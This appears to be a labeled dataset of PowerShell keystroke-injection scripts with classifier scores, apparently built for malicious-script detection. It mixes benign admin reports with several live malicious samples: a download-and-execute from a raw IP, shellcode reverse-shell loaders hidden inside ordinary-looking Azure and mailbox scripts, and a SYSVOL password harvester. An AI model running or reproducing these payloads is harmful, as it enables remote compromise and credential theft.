"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_chr009yu"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_disabled_tasks.json"") -Encoding UTF8 enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,2) } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""uptime_summary.txt"") -Encoding UTF8 enter",0,0,0.99996555,3.439329e-05
"win+r enter powershell enter enter enter function Import-FileNoWildcard { enter [CmdletBinding(SupportsShouldProcess=$true)] enter param( enter enter [Parameter(Mandatory=$true, enter Position=0, enter ParameterSetName=""Path"", enter ValueFromPipeline=$true, enter ValueFromPipelineByPropertyName=$true, enter HelpMessage=""Path to one or more locations."")] enter [Alias(""PSPath"")] enter [ValidateNotNullOrEmpty()] enter [string[]] enter $Path enter ) enter enter begin { enter } enter enter process { enter enter $paths = @() enter foreach ($aPath in $Path) { enter if (!(Test-Path -LiteralPath $aPath)) { enter $ex = New-Object System.Management.Automation.ItemNotFoundException ""Cannot find path '$aPath' because it does not exist."" enter $category = [System.Management.Automation.ErrorCategory]::ObjectNotFound enter $errRecord = New-Object System.Management.Automation.ErrorRecord $ex,'PathNotFound',$category,$aPath enter $psCmdlet.WriteError($errRecord) enter continue enter } enter $paths += $psCmdlet.SessionState.Path.GetUnresolvedProviderPathFromPSPath($aPath) enter } enter enter foreach ($aPath in $paths) { enter if ($pscmdlet.ShouldProcess($aPath, 'Operation')) { enter enter $aPath enter } enter } enter } enter enter end { enter } enter } enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.8501097e-05,0.99994147
"win+r powershell enter [CmdletBinding()] param( ) @( 'http://msdn.microsoft.com/en-us/library/windows/ enter desktop/bb530716.aspx', 'http://msdn.microsoft.com/en-us/library/windows/desktop enter /bb545671.aspx' ) | ForEach-Object { Invoke-WebRequest -Uri $_ } | Select-Obje enter ct -ExpandProperty 'RawContent' | Select-String -AllMatches 'TEXT\(""([^""]+)""\)' enter | Select-Object -ExpandProperty 'Matches' | Select-Object -ExpandProperty 'Gr enter oups' | Select-Object -ExpandProperty 'Value' | Where-Object { $_ -notlike 'TE enter XT*' } | enter enter",1,1,0.0005345334,0.9994655
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_7g7r627y"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Service | enter Where-Object { $_.Status -eq ""Stopped"" } | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_stopped.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999665,3.3553697e-05
"win+r enter powershell enter enter enter function Get-GPPAutologon enter { enter [CmdletBinding()] enter Param () enter Set-StrictMode -Version 2 enter function Get-GPPInnerFields enter { enter [CmdletBinding()] enter Param ( enter $File enter ) enter enter try enter { enter $Filename = Split-Path $File -Leaf enter [xml] $Xml = Get-Content ($File) enter $Password = @() enter $UserName = @() enter if (($Xml.innerxml -like ""*DefaultPassword*"") -and ($Xml.innerxml -like ""*DefaultUserName*"")) enter { enter $props = $xml.GetElementsByTagName(""Properties"") enter foreach($prop in $props) enter { enter switch ($prop.name) enter { enter 'DefaultPassword' enter { enter $Password += , $prop | Select-Object -ExpandProperty Value enter } enter enter 'DefaultUsername' enter { enter $Username += , $prop | Select-Object -ExpandProperty Value enter } enter } enter enter Write-Verbose ""Potential password in $File"" enter } enter if (!($Password)) enter { enter $Password = '[BLANK]' enter } enter enter if (!($UserName)) enter { enter $UserName = '[BLANK]' enter } enter $ObjectProperties = @{'Passwords' = $Password; enter 'UserNames' = $UserName; enter 'File' = $File} enter enter $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties enter Write-Verbose ""The password is between {} and may be more than one value."" enter if ($ResultsObject) enter { enter Return $ResultsObject enter } enter } enter } enter catch {Write-Error $Error[0]} enter } enter enter try { enter enter if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) { enter throw 'Machine is not a domain member or User is not a member of the domain.' enter } enter Write-Verbose 'Searching the DC. This could take a while.' enter $XMlFiles = Get-ChildItem -Path ""\\$Env:USERDNSDOMAIN\SYSVOL"" -Recurse -ErrorAction SilentlyContinue -Include 'Registry.xml' enter enter if ( -not $XMlFiles ) {throw 'No preference files found.'} enter enter Write-Verbose ""Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."" enter enter foreach ($File in $XMLFiles) { enter $Result = (Get-GppInnerFields $File.Fullname) enter Write-Output $Result enter } enter } enter enter catch {Write-Error $Error[0]} enter } enter enter",1,0,0.6697897,0.33021033
"win+r enter powershell enter enter enter function Write-InstallationCheckToFile enter { enter Param($installationchecks) enter if (Get-Module Az.Profile -ListAvailable -ErrorAction Ignore) enter { enter Write-Warning ""Both Az and AzureRM modules were detected on your machine. Az and AzureRM modules cannot be imported in the same session or used in the same script or runbook. If you are running PowerShell in an environment you control you can use the 'Uninstall-AzureRm' cmdlet to remove all AzureRm modules from your machine. "" + enter ""If you are running in Azure Automation, take care that none of your runbooks import both Az and AzureRM modules. More information can be found here: https://aka.ms/azps-migration-guide."" enter } enter enter $installationchecks.Add(""AzureRmSideBySideCheck"",""true"") enter try enter { enter if (Test-Path $pathToInstallationChecks -ErrorAction Ignore) enter { enter Remove-Item -Path $pathToInstallationChecks -ErrorAction Stop enter } enter enter New-Item -Path $pathToInstallationChecks -ErrorAction Stop -ItemType File -Value ($installationchecks | ConvertTo-Json -ErrorAction Stop) enter } enter catch enter { enter Write-Verbose ""Installation checks failed to write to file."" enter } enter } enter enter if (!($env:SkipAzInstallationChecks -eq ""true"")) enter { enter $pathToInstallationChecks = Join-Path (Join-Path $HOME "".Azure"") ""AzInstallationChecks.json"" enter $installationchecks = @{} enter if (!(Test-Path $pathToInstallationChecks -ErrorAction Ignore)) enter { enter Write-InstallationCheckToFile $installationchecks enter } enter else enter { enter try enter { enter ((Get-Content $pathToInstallationChecks -ErrorAction Stop) | ConvertFrom-Json -ErrorAction Stop).PSObject.Properties | Foreach { $installationchecks[$_.Name] = $_.Value } enter } enter catch enter { enter Write-InstallationCheckToFile $installationchecks enter } enter enter if (!$installationchecks.ContainsKey(""AzureRmSideBySideCheck"")) enter { enter Write-InstallationCheckToFile $installationchecks enter } enter } enter } enter enter if (Get-Module Az.profile -ErrorAction Ignore) enter { enter Write-Warning ""Az.Profile already loaded. Az and AzureRM modules cannot be imported in the same session or used in the same script or runbook. If you are running PowerShell in an environment you control you can use the 'Uninstall-AzureRm' cmdlet to remove all AzureRm modules from your machine. "" + enter ""If you are running in Azure Automation, take care that none of your runbooks import both Az and AzureRM modules. More information can be found here: https://aka.ms/azps-migration-guide."" enter throw ""Az.Profile already loaded. Az and AzureRM modules cannot be imported in the same session or used in the same script or runbook. If you are running PowerShell in an environment you control you can use the 'Uninstall-AzureRm' cmdlet to remove all AzureRm modules from your machine. "" + enter ""If you are running in Azure Automation, take care that none of your runbooks import both Az and AzureRM modules. More information can be found here: https://aka.ms/azps-migration-guide."" enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05,0x68,0x29,0xf9,0x61,0x01,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x61,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x22,0x58,0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0xe9,0x71,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1598254e-05,0.9999484
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_az2m11qu"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_printers.txt"") -Encoding UTF8 enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Auto"" } | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status, ServiceType | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_automatic.txt"") -Encoding UTF8 enter",0,0,0.99996555,3.445698e-05
"Save-PSResource 'TestModule' Save-PSResource -name 'TestModule' Save-PSResourc enter e 'TestModule' -Type 'Module' Save-PSResource 'TestModule' -Type 'Module', 'Scr enter ipt', 'Library' Save-PSResource 'TestModule1', 'TestModule2', 'TestModule3' Sa enter ve-PSResource 'TestModule' -MinimumVersion '1.5.0' enter",1,1,0.00047963983,0.9995204
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_4oc4zciu"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Service -Name wuauserv,bits -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status, ServiceType | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_update_related.txt"") -Encoding UTF8 enter Write-Host ""Starting scheduled_task_inventory section 2."" enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 50 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_disabled_tasks.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996495,3.501968e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_sl567wa0"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 200 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.json"") -Encoding UTF8 enter Write-Host ""Starting service_checks section 2."" enter Get-Service -Name wuauserv,bits,cryptsvc -ErrorAction SilentlyContinue | enter Sort-Object DisplayName | enter Select-Object Name, DisplayName, Status, ServiceType | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_update_related.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4465265e-05
win+r powershell enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install procexp enter A enter enter,0,0,0.9999597,4.0330877e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_snjtife8"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 200 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_system_errors_200.csv"") -NoTypeInformation enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.3977674e-05
"win+r enter powershell enter enter enter Write-Host 'Gathering Stats, Please Wait..' enter enter $Mailboxes = Get-Mailbox -ResultSize Unlimited | Select UserPrincipalName, Identity, ArchiveStatus enter enter $index = 0 enter $total = @($Mailboxes).Count enter $starttime = $lasttime = Get-Date enter $MailboxSizes = foreach ($Mailbox in $Mailboxes) enter { enter $index++ enter $currtime = (Get-Date) - $starttime enter $avg = $currtime.TotalSeconds / $index enter $last = ((Get-Date) - $lasttime).TotalSeconds enter $left = $total - $index enter $WrPrgParam = @{ enter Activity = ( enter ""Get-MailboxStats $(Get-Date -f s)"", enter ""Total: $($currtime -replace '\..*')"", enter ""Avg: $('{0:N2}' -f $avg)"", enter ""Last: $('{0:N2}' -f $last)"", enter ""ETA: $('{0:N2}' -f ($avg * $left / 60))"", enter ""min ($([string](Get-Date).AddSeconds($avg*$left) -replace '^.* '))"" enter ) -join ' ' enter Status = ""$index of $total ($left left) [$('{0:N2}' -f ($index / $total * 100))%]"" enter CurrentOperation = ""$Mailbox"" enter PercentComplete = $index / $total * 100 enter } enter Write-Progress @WrPrgParam enter $lasttime = Get-Date enter enter $MailboxStats = Get-MailboxStatistics $Mailbox.UserPrincipalname | Select LastLogonTime, @{n='TotalItemSizeGB';e={[math]::Round( (($_.TotalItemSize.Value.ToString()).Split(""("")[1].Split(' ')[0].Replace(',', '') / 1GB), 2 )}}, ItemCount enter $MailboxFolderStats = Get-MailboxFolderStatistics $Mailbox.UserPrincipalName | Where-Object {$_.name -like 'Purges' -or $_.name -like 'DiscoveryHolds'} enter $MailboxPurgeFolderStats = $MailboxFolderStats | Where-Object {$_.name -like 'Purges'} | Select Name, @{n='FolderSizeGB';e={[math]::Round( ([decimal](($_.FolderSize -replace '[0-9\.]+ [A-Z]* \(([0-9,]+) bytes\)', '$1').Replace(',', '')) / 1GB), 2 )}}, ItemsInFolder enter $MailboxDiscoveryHoldsFolderStats = $MailboxFolderStats | Where-Object {$_.name -like 'DiscoveryHolds'} | Select Name, @{n='FolderSizeGB';e={[math]::Round( ([decimal](($_.FolderSize -replace '[0-9\.]+ [A-Z]* \(([0-9,]+) bytes\)', '$1').Replace(',', '')) / 1GB), 2 )}}, ItemsInFolder enter enter if ($Mailbox.ArchiveStatus -eq 'Active') enter { enter $ArchiveStats = Get-MailboxStatistics $Mailbox.UserPrincipalname -Archive | Select @{n='TotalItemSizeGB';e={[math]::Round( (($_.TotalItemSize.Value.ToString()).Split('(')[1].Split(' ')[0].Replace(',', '') / 1GB), 2 )}}, ItemCount enter enter $ArchiveSize = $ArchiveStats.TotalItemSizeGB enter $ArchiveItemCount = $ArchiveStats.ItemCount enter } enter else enter { enter $ArchiveSize = 'No Archive' enter $ArchiveItemCount = 'No Archive' enter } enter enter [pscustomobject]@{ enter UserPrincipalName = $Mailbox.UserPrincipalName enter LastLoggedIn = $MailboxStats.LastLogonTime enter MailboxSize = $MailboxStats.TotalItemSizeGB enter MailboxItemCount = $MailboxStats.ItemCount enter PurgesFolderSize = $MailboxPurgeFolderStats.FolderSizeGB enter PurgeItems = $MailboxPurgeFolderStats.ItemsInFolder enter DiscoveryHoldsFolderSize = $MailboxDiscoveryHoldsFolderStats.FolderSizeGB enter DiscoveryHoldItems = $MailboxDiscoveryHoldsFolderStats.ItemsInFolder enter ArchiveSize = $ArchiveSize enter ArchiveItemCount = $ArchiveItemCount enter } enter } enter enter $MailboxSizes | Out-GridView -Title 'Mailbox and Archive Sizes' enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0xb7,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.138916e-05,0.9999486
"win+r powershell enter function Send-File { [CmdletBinding()] param ( [Parameter(Mandatory)] enter [ValidateNotNullOrEmpty()] [string[]]$Path, [Parameter(Mandatory)] enter enter",1,1,0.004432502,0.9955675
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""health_report_zbfgu8iw"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_pnp_devices.txt"") -Encoding UTF8 enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 40 Name, Id, CPU, WorkingSet64 | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_memory_40.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4366738e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_xzadi8q0"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.json"") -Encoding UTF8 enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_module_paths.txt"") -Encoding UTF8 enter",0,0,0.9999653,3.4733515e-05
"t r y { G e t - U e v C o n f i g u r a t i o n : O p t i m i z e - W i n d o w enter s I m a g e S t a r t - D t c D i a g n o s t i c R e s o u r c e M a n a g enter e r : S u s p e n d - S e r v i c e W r i t e - D e b u g : W a i t - D e b enter u g g e r } c a t c h { $ k N w D = "" p P R h t D o c v i O S D w O X q enter e U i H p U Q r f X P q J Q v s i J A h f o x A e R d B p d K l m j k D b U V l enter M x J "" - r e p l a c e "" p M X r | P R h t D | c v i O S D | O X q | U i H enter p U Q | f X P q J Q v | i J A | f o x A | R d B p d K | m j k D b U V | M x J "" enter ; t r y { E n a b l e - T l s C i p h e r S u i t e : P u s h - L o c a t i enter o n enter",1,1,7.8113495e-05,0.9999219
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_dad7o6tz"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_usb_related_pnp.csv"") -NoTypeInformation enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_adapter.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4140234e-05
"win+r enter powershell enter enter enter filter Add-IisServerManagerMember enter { enter [CmdletBinding()] enter param( enter [Parameter(Mandatory=$true,ValueFromPipeline=$true)] enter enter $InputObject, enter enter [Parameter(Mandatory=$true)] enter [Microsoft.Web.Administration.ServerManager] enter enter $ServerManager, enter enter [Switch] enter enter $PassThru enter ) enter enter Set-StrictMode -Version 'Latest' enter enter Use-CallerPreference -Cmdlet $PSCmdlet -Session $ExecutionContext.SessionState enter enter $InputObject | enter Add-Member -MemberType NoteProperty -Name 'ServerManager' -Value $ServerManager -PassThru | enter Add-Member -MemberType ScriptMethod -Name 'CommitChanges' -Value { $this.ServerManager.CommitChanges() } enter enter if( $PassThru ) enter { enter return $InputObject enter } enter } enter enter",0,0,0.99994946,5.052094e-05
"win+r powershell enter $LogPath = ""$PSScriptRoot\Log.txt"" [bool]$SendMailOnError = $true $SmtpServer enter = """" $MailFrom = """" [String[]]$MailTo = @("""","""") $MailSubject = ""[Script Error] enter Title..."" $Error.Clear() $Cred = Invoke-Expression -Command ""$PSScriptRoot\Get enter -ManagedCredential.ps1 -FilePath $PSScriptRoot\cred.xml"" enter enter",1,1,0.0041344,0.9958656
"win+r enter powershell enter enter enter  enter [CmdletBinding()] enter param ( enter [Parameter(Mandatory,ValueFromPipeline,ValueFromPipelineByPropertyName)] enter [string[]]$ServiceName, enter [Parameter(ValueFromPipeline, ValueFromPipelineByPropertyName)] enter [ValidateScript({Test-Connection -ComputerName $_ -Quiet -Count 1 })] enter [string[]]$Computername = 'localhost', enter [Parameter(Mandatory)] enter [string]$Username, enter [Parameter(Mandatory)] enter [string]$Password enter ) enter enter process { enter foreach ($Computer in $Computername) { enter foreach ($Service in $ServiceName) { enter try { enter Write-Verbose -Message ""Changing service '$Service' on the computer '$Computer'"" enter $s = Get-WmiObject -ComputerName $Computer -Class Win32_Service -Filter ""Name = '$Service'"" enter if (!$s) { enter throw ""The service '$Service' does not exist"" enter } enter $s.Change($null, $null, $null, $null, $null, $null, $Username, $Password) | Out-Null enter $s | Restart-Service -Force enter } catch { enter Write-Error -Message ""Error: Computer: $Computer - Service: $Service - Error: $($_.Exception.Message)"" enter } enter } enter } enter } enter enter",0,0,0.999813,0.0001869823
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_ehqsze6g"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.json"") -Encoding UTF8 enter Get-WinEvent -LogName System -MaxEvents 200 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_provider_summary_200.txt"") -Encoding UTF8 enter",0,0,0.9999659,3.4110682e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_9bvqwzz6"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_display_devices.txt"") -Encoding UTF8 enter Write-Host ""Starting network_checks section 2."" enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_net_connection_profile.json"") -Encoding UTF8 enter Get-ComputerInfo | enter Select-Object CsName, OsName, OsVersion, OsBuildNumber, WindowsInstallDateFromRegistry | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""bios_os_report.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.462273e-05
